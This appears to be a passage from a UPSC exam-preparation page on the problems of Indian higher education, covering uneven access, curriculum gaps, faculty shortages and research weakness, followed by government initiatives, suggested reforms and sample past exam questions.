• Uneven Regional Development : Higher education institutions are unevenly distributed, with states like Delhi, Tamil Nadu, and Maharashtra having higher concentrations of reputed institutions.
• g. A study by the National Employability Report highlighted the industry’s perception of the outdated curriculum in many Indian universities.
• g. AISHE data indicates a faculty shortage in many institutions, with a high student-to-faculty ratio.
• Lack of Research and Innovation : Indian institutions often lack a strong focus on research and innovation. For instance, India ranks lower in global innovation indices , indicating a need for increased emphasis on research and development.
• For example, AISHE reports show disparities in enrolment rates among different social groups.
• Equity and Access : A report titled “Gender and Higher Education in India: Negotiating Equity with Access” attempts to outline the multiple dimensions of gender asymmetries and discrimination that occur in higher education institution
• g. According to the All India Survey on Higher Education (AISHE) 2019-20, many colleges lack basic amenities, affecting the quality of education.
• Job Market Alignment: There is often a mismatch between the skills students acquire and what the job market requires. A report titled “ EMPLOYABILITY AND ENTREPRENEURSHIP IN INDIAN UNIVERSITIES ” shows that employability in the country is only 47%.

Impact on Quality:

• Skill Gap: The gap between the curriculum and industry needs results in a workforce lacking in essential skills.
• Inadequacy in Research: The lack of focus on research and innovation limits the country’s capacity to contribute to global knowledge and technological advancements.

Government Initiatives:

Measures to Address Challenges:

• Infrastructural, Academic and Faculty Reforms: Improving infrastructure and implementing academic and faculty reforms can enhance the quality of education. For instance, the Rashtriya Uchchatar Shiksha Abhiyan (RUSA) aims to upgrade infrastructure in higher educational institutions
• Increase Representation of States in UGC: Increasing the representation of states in the University Grants Commission (UGC) can help address regulatory challenges.
• Availability of Quality Textbooks in Local Language: Providing quality textbooks in local languages can improve access to education. The National Council of Educational Research and Training (NCERT) has been publishing quality textbooks in various local languages.
• Schemes like the Pradhan Mantri Vidya Lakshmi Karyakram provide educational loans to students.
• Implementation of New Education Policy: The implementation of The NEP 2020 aims to overhaul the education system by introducing a new curriculum structure, promoting multilingualism, and focusing on skill development .
• Strengthening Quality Assurance Institutions: Strengthening institutions like the National Assessment and Accreditation Council (NAAC) can ensure quality assurance.
• Digital Education : The Government of India has launched several initiatives like SWAYAM , an online education platform, to promote digital education.
• Public-Private Partnerships (PPP) : PPP models have been successful in improving the education system. For example, the Delhi Public School Society operates schools in collaboration with private entities.

Other measures needed:

• Shift focus to practical skill development through project-based learning, internships, and industry collaborations.
• Encourage universities to engage in social development projects to promote civic engagement.
• Enhance the National Digital Library and promote open educational resources.
• Establish entrepreneurship and innovation centres within universities.
• Promote transnational education partnerships with international universities.
• Implement dual study programs combining theoretical learning with practical training.
• Adopt a competency-based credentialing system with blockchain certificates.

A revitalized higher education system will not only contribute to the intellectual growth of the nation but also position India as a competitive force on the global educational stage. It is an investment in the nation’s intellectual capital, fostering innovation, critical thinking, and socio-economic development.

Insta Links:

• An ambitious push for values, and ethics in higher education

Mains Link:

Q1. How have digital initiatives in India contributed to the functioning of the education system in the country? Elaborate on your answer. (USPC 2020)

Q2. Discuss the main objectives of Population Education and point out the measures to achieve them in India in detail. (USPC 2021)

Prelims Link:

Q. Which of the following provisions of the Constitution does India have a bearing on Education? (UPSC 2012)

• Directive Principles of State Policy
• Rural and Urban Local Bodies
• Fifth Schedule
• Sixth Schedule
• Seventh Schedule

Select the correct answer using the codes given below:

(a) 1 and 2 only

(b) 3, 4 and 5 only

(c) 1, 2 and 5 only

(d) 1, 2, 3, 4 and 5

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